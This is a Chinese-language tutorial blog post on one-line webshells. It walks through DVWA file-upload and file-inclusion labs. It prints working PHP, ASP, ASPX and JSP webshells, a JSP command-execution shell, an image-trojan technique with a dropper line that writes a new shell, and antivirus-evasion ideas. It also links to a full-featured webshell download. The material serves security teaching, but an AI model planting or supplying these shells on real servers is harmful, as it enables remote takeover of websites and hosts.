Web安全-一句話木馬

概述

在很多的滲透過程中,滲透人員會上傳一句話木馬(簡稱Webshell)到目前web服務目錄繼而提權獲取系統權限,不論asp、php、jsp、aspx都是如此,那麼一句話木馬到底是什麼呢?

先來看看最簡單的一句話木馬:

   <?php @eval($_POST['attack']) ?>

基本原理】利用文件上傳漏洞,往目標網站中上傳一句話木馬,然後你就可以在本地通過中國菜刀chopper.exe即可獲取和控制整個網站目錄。@表示後面即使執行錯誤,也不報錯。eval()函數表示括號內的語句字符串什麼的全都當做代碼執行。$_POST['attack']表示從頁面中獲得attack這個參數值。

入侵條件

其中,只要攻擊者滿足三個條件,就能實現成功入侵:

(1)木馬上傳成功,未被殺;
(2)知道木馬的路徑在哪;
(3)上傳的木馬能正常運行。

常見形式

常見的一句話木馬:

php的一句話木馬: <?php @eval($_POST['pass']);?>
asp的一句話是:   <%eval request ("pass")%>
aspx的一句話是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

我們可以直接將這些語句插入到網站上的某個asp/aspx/php文件上,或者直接創建一個新的文件,在裏面寫入這些語句,然後把文件上傳到網站上即可。

基本原理

首先我們先看一個原始而又簡單的php一句話木馬:

   <?php @eval($_POST['cmd']); ?>

看到這裏不得不讚美前輩的智慧。對於一個稍微懂一些php的人而言,或者初級的安全愛好者,或者腳本小子而言,看到的第一眼就是密碼是cmd,通過post提交數據,但是具體如何執行的,卻不得而知,下面我們分析一句話是如何執行的。

這句話什麼意思呢?

(1)php的代碼要寫在<?php ?>裏面,服務器才能認出來這是php代碼,然後纔去解析。
(2)@符號的意思是不報錯,即使執行錯誤,也不報錯。
在這裏插入圖片描述
爲什麼呢?因爲一個變量沒有定義,就被拿去使用了,服務器就善意的提醒:Notice,你的xxx變量沒有定義。這不就暴露了密碼嗎?所以我們加上@

(3)爲什麼密碼是cmd呢?

那就要來理解這句話的意思了。php裏面幾個超全局變量:$_GET$_POST就是其中之一。$_POST['a']; 的意思就是a這個變量,用post的方法接收。

註釋:傳輸數據的兩種方法,get、post,post是在消息體存放數據,get是在消息頭的url路徑裏存放數據(例如xxx.php?a=2)

(4)如何理解eval()函數

eval()把字符串作爲PHP代碼執行

例如:eval("echo 'a'");其實就等於直接 echo 'a';再來看看<?php eval($_POST['pw']); ?>首先,用post方式接收變量pw,比如接收到了:pw=echo 'a';這時代碼就變成<?php eval("echo 'a';"); ?>。結果如下:
在這裏插入圖片描述
連起來意思就是:用post方法接收變量pw,把變量pw裏面的字符串當做php代碼來執行。所以也就能這麼玩:也就是說,你想執行什麼代碼,就把什麼代碼放進變量pw裏,用post傳輸給一句話木馬。你想查看目標硬盤裏有沒有小黃片,可以用php函數:opendir()readdir()等等。想上傳點小黃片,誣陷站主,就用php函數:move_uploaded_file,當然相應的html要寫好。你想執行cmd命令,則用exec()

當然前提是:php配置文件php.ini裏,關掉安全模式safe_mode = off,然後再看看 禁用函數列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,確保沒有exec(有些cms爲了方便處理某些功能,會去掉的)。

來看看效果,POST代碼如下:

  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo '<pre>';
  print_r($out);
  echo '</pre>';

在這裏我們可以看到系統直接執行了系統命令。SO,大家現在應該理解,爲什麼說一句話短小精悍了吧!
在這裏插入圖片描述

木馬利用

以下通過DVWA的文件上傳漏洞,來看看一句話木馬如何使用。關於文件上傳漏洞可閱讀以下文章:文件上傳漏洞

中國菜刀

【實驗準備】首先在本地(桌面)保存一句話木馬文件Hack.php(用記事本編寫後修改文件後綴即可):

  <?php @eval($_POST['pass']);?>

接下來進入DVWA平臺:http://127.0.0.1:8088/DVWA/index.php ,準備開始實驗。
在這裏插入圖片描述
在Low 安全級別下,查看後臺源碼:

 <?php
 if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
  }
?>

從源碼中發現,low級別未對上傳的文件進行任何驗證。所以可以直接上傳PHP或者ASP一句話木馬,此例採用php。

(1)我們將準備好的一句話木馬直接上傳,然後就可以看到回顯的路徑:
在這裏插入圖片描述在這裏插入圖片描述
(2)接着就可以用菜刀連接了,菜刀界面右鍵,然後點擊添加。然後填寫相關的數據,如下圖:
在這裏插入圖片描述“中國菜刀”頁面操作說明:

1、是連接的URL,就是網站的主路徑然後加上上傳文件時回顯的保存路徑;
2、是菜刀連接時的密碼,就是上面圖片一句話提交的數據(本例爲"pass");
3、是一句話的解析類型,可以是asp,php,aspx。不同的解析類型的一句話內容不一樣,文件後綴名不一樣。

(3)然後可以看連接成功的界面:
在這裏插入圖片描述(4)接着雙擊或者右鍵“文件管理”,進入以下界面:
在這裏插入圖片描述我們看到了整個網站的結構和文件,甚至是暴漏了我整個電腦主機的磁盤存儲!!可以進行任意非法增刪查改!!網站(主機)至此淪陷……
在這裏插入圖片描述

圖片木馬

木馬如何才能上傳成功?通常防禦者都會對類型、大小、進行過濾。另外,若規定是上傳的圖片,還會對圖片進行採集。即使攻擊者修改文件類型,也過不了圖片採集那一關。所以,這就需要一張圖片來做掩護。做成隱藏在圖片下的木馬。linux和windows都有相應的命令,能夠讓一個文件融合到另一個文件後面,達到隱藏的目的。

承接上面DVWA實驗,High 安全等級,繼續先查看源碼:

 <?php
 if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
 }
?>

可以看到,High級別的代碼讀取文件名中最後一個”.”後的字符串,期望通過文件名來限制文件類型,因此要求上傳文件名形式必須是“*.jpg”“.jpeg”“*.png”之一。同時,getimagesize()函數更是限制了上傳文件的文件頭必須爲圖像類型
在這裏插入圖片描述我們需要將上傳文件的文件頭僞裝成圖片,首先利用copy命令將一句話木馬文件Hack.php與正常的圖片文件ClearSky.jpg合併:
在這裏插入圖片描述

【備註】以下爲CMD下用copy命令製作“圖片木馬”的步驟,其中,ClearSky.jpg/b中“b”表示“二進制文件”,hack.php/a中“a"表示ASCII碼文件

在這裏插入圖片描述
生成帶有木馬的圖片文件hack.jpg
在這裏插入圖片描述
接着我們打開生成的圖片木馬文件,我們可以看到一句話木馬已附在圖片文件末尾:
在這裏插入圖片描述
然後我們試着將生成的木馬圖片文件hack.jpg上傳,上傳成功!!!
在這裏插入圖片描述訪問圖片木馬:
在這裏插入圖片描述

接下來,上菜刀!!!!!!!!!!!
在這裏插入圖片描述
但是由於是圖片木馬,PHP腳本並無法被解析,菜刀連接木馬失敗:
在這裏插入圖片描述
既然圖片木馬也無法解析,那該怎麼辦?High級別的程序只允許上傳圖片啊……別慌,此處結合DVWA靶場自帶的文件包含漏洞即可成功上傳PHP木馬並上菜刀連接了,下面進行攻擊演示。

首先通過上述方法制造新的圖片木馬,圖片文件後面的PHP腳本更改爲:

<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>

然後製作新的圖片木馬,如下圖所示:
在這裏插入圖片描述
接着上傳到DVWA,然後藉助文件包含漏洞模塊訪問該木馬文件:
在這裏插入圖片描述訪問的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下圖所示:
在這裏插入圖片描述此時在DVWA文件包含漏洞的路徑下便自動生成了PHP一句話木馬腳本文件muma.php,如下圖所示:
在這裏插入圖片描述
此時再上菜刀連接,即可成功連接:
在這裏插入圖片描述
在這裏插入圖片描述

至此,我們成功結合文件包含漏洞,在只能上傳圖片的文件上傳功能處上傳圖片木馬並生成一句話木馬。最後附上一篇博文,介紹了圖片木馬+解析漏洞的利用:PHP圖片木馬

木馬免殺

就算木馬能正常運行,那麼過段時間會不會被管理員殺掉?如何免殺?上面雖然木馬上傳成功了,但是隻要管理員一殺毒,全部都能殺出來。而且,還會很明確的說這是後門。因此,作爲攻擊者就得會各種免殺技巧。防禦者的防禦很簡單,什麼時候哪個論壇爆出新的免殺技巧,安全人員立馬將這玩意兒放入黑名單,那麼這種免殺技巧就失效了。所以,攻擊者得不斷創新,發明新的免殺技巧。

免殺思路】:

1、將源代碼進行再次編碼。
在這裏插入圖片描述2、將那一句話木馬進行base64編碼,存放在"亂七八糟"的代碼中,直接看圖:
在這裏插入圖片描述3、還是一句話木馬,進行變形,只不過,這次的變形是在數組中鍵值對變形。很強。
在這裏插入圖片描述
不得不說,免殺的思路真是越猥瑣,越好。研究起來非常有意思。以後等我滲透熟練了,會好好研究一下PHP代碼的各種免殺技巧。很好玩,思路很猥瑣。

小馬和大馬

小馬和大馬都是網頁類型中的一種後門,是通過用來控制網站權限的,那最主要的區別就是小馬是用來上傳大馬的。通過小馬上傳大馬,這時候有個疑問了,那不是多此一舉了,爲什麼要用小馬來上傳大馬,而幹嘛不直接上傳大馬用好了。其實這裏是因爲小馬體積小,有比大馬更強的隱蔽優勢,而且有針對文件大小上傳限制的漏洞,所以纔有小馬,小馬也通常用來做留備用後門等。

網頁小馬

小馬體積非常小,只有2KB那麼大,隱蔽性也非常的好,因爲小馬的作用很簡單,就是一個上傳功能,就沒有其它的了,它的作用僅僅是用來上傳文件,所以也能過一些安全掃描。小馬是爲了方便上傳大馬的,因爲很多漏洞做了上傳限制,大馬上傳不了,所以就只能先上傳小馬,再接着通過小馬上傳大馬了。小馬還可以通過與圖片合成一起通過IIS漏洞來運行。

Java語言編寫的後臺咱們使用JSP木馬,與前面的一句話木馬不同,菜刀中JSP木馬較長,以下是一個簡單的JSP小馬:

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

成功上傳後如果能解析的話,請求:http://服務器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可執行命令。

網頁大馬

大馬的體積就比較大了,通常在50K左右,比小馬會大好多倍,但對應的功能也很強大,包括對數據的管理,命令的操作,數據庫的管理,解壓縮,和提權等功能,都非常強大。這種大馬一旦網站被種了,網站基本就在這個大馬控制之中。大馬的隱蔽性不好,因爲涉及很多敏感代碼,安全類程序很容易掃描到。

中國菜刀的一句話不算,菜刀一句話通過客戶端來操作也非常強大,一句話的代碼可以和大馬實現的一樣。我們這裏說的小馬和大馬是指網頁類型中的,小馬就是爲了配合上傳大馬的,這是它最主要的作用,還有就是小馬可以當做備用的後門來使用,一般大馬容易被發現,而小馬則更容易隱藏在系統的文件夾中。

來看看一個大馬利用實例:在虛擬機中往DVWA上傳PHP大馬(源碼附在最後):
在這裏插入圖片描述
訪問木馬文件123.php,提交密碼123456後進入大馬的功能列表,下圖所示爲文件管理功能:
在這裏插入圖片描述繼續訪問下命令執行功能(其他功能不展示了):
在這裏插入圖片描述

最後附上該PHP大馬的代碼(代碼太長,百度雲盤鏈接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
提取碼:56pd。另外提供JSP大馬的參考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456

WebShell

Webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做爲一種網頁後門。黑客在入侵了一個網站後,通常會將asp或php後門文件與網站服務器WEB目錄下正常的網頁文件混在一起,然後就可以使用瀏覽器來訪問asp或者php後門,得到一個命令執行環境,以達到控制網站服務器的目的

webshell根據腳本可以分爲PHP腳本木馬,ASP腳本木馬,也有基於.NET的腳本木馬和JSP腳本木馬。在國外,還有用python腳本語言寫的動態網頁,當然也有與之相關的webshell。 webshell根據功能也分爲大馬、小馬和一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文檔裏面,然後文件名改成xx.asp。然後傳到服務器上面。用eval方法將request(“pass”)轉換成代碼執行,request函數的作用是應用外部文件。這相當於一句話木馬的客戶端配置。具體分類如下圖:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章